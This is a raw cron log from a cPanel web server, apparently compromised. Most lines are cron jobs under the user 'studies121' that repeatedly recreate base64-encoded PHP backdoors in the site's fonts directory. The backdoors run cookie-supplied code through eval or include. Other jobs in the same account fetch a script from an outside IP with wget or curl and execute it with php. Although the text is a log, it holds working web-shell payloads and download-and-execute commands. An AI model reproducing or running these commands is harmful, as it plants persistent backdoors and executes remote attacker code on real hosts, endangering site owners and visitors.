Sep 10 08:23:01 ip-184-168-122-23 CROND[1824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:23:01 ip-184-168-122-23 CROND[1823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:23:01 ip-184-168-122-23 CROND[1825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:23:01 ip-184-168-122-23 CROND[1826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:24:01 ip-184-168-122-23 CROND[1939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:24:02 ip-184-168-122-23 CROND[1941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:24:02 ip-184-168-122-23 CROND[1942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:24:02 ip-184-168-122-23 CROND[1943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:24:02 ip-184-168-122-23 CROND[1944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:25:02 ip-184-168-122-23 CROND[2058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:25:02 ip-184-168-122-23 CROND[2061]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:25:02 ip-184-168-122-23 CROND[2060]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 08:25:02 ip-184-168-122-23 CROND[2063]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:25:02 ip-184-168-122-23 CROND[2065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:25:02 ip-184-168-122-23 CROND[2064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:25:02 ip-184-168-122-23 CROND[2066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:26:01 ip-184-168-122-23 CROND[2177]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 10 08:26:01 ip-184-168-122-23 CROND[2178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:26:01 ip-184-168-122-23 CROND[2179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:26:01 ip-184-168-122-23 CROND[2180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:26:01 ip-184-168-122-23 CROND[2181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:26:01 ip-184-168-122-23 CROND[2187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 10 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 10 08:27:01 ip-184-168-122-23 CROND[2405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:27:01 ip-184-168-122-23 CROND[2408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:27:01 ip-184-168-122-23 CROND[2406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:27:01 ip-184-168-122-23 CROND[2407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:28:01 ip-184-168-122-23 CROND[2560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:28:01 ip-184-168-122-23 CROND[2562]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:28:01 ip-184-168-122-23 CROND[2563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:28:01 ip-184-168-122-23 CROND[2564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:28:01 ip-184-168-122-23 CROND[2565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:29:01 ip-184-168-122-23 CROND[2657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:29:01 ip-184-168-122-23 CROND[2660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:29:01 ip-184-168-122-23 CROND[2659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:29:01 ip-184-168-122-23 CROND[2661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:30:01 ip-184-168-122-23 CROND[2930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:30:01 ip-184-168-122-23 CROND[2932]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:30:01 ip-184-168-122-23 CROND[2936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:30:01 ip-184-168-122-23 CROND[2935]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 08:30:01 ip-184-168-122-23 CROND[2940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:30:01 ip-184-168-122-23 CROND[2941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:30:01 ip-184-168-122-23 CROND[2943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:30:01 ip-184-168-122-23 CROND[2944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:30:01 ip-184-168-122-23 CROND[2945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:31:01 ip-184-168-122-23 CROND[3054]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 08:31:01 ip-184-168-122-23 CROND[3056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:31:01 ip-184-168-122-23 CROND[3057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:31:01 ip-184-168-122-23 CROND[3058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:31:01 ip-184-168-122-23 CROND[3059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:32:01 ip-184-168-122-23 CROND[3174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:32:01 ip-184-168-122-23 CROND[3176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:32:01 ip-184-168-122-23 CROND[3179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:32:01 ip-184-168-122-23 CROND[3178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:32:01 ip-184-168-122-23 CROND[3177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:33:01 ip-184-168-122-23 CROND[3285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:33:01 ip-184-168-122-23 CROND[3286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:33:01 ip-184-168-122-23 CROND[3288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:33:01 ip-184-168-122-23 CROND[3289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:34:01 ip-184-168-122-23 CROND[3386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:34:01 ip-184-168-122-23 CROND[3387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:34:01 ip-184-168-122-23 CROND[3388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:34:01 ip-184-168-122-23 CROND[3391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:34:01 ip-184-168-122-23 CROND[3392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
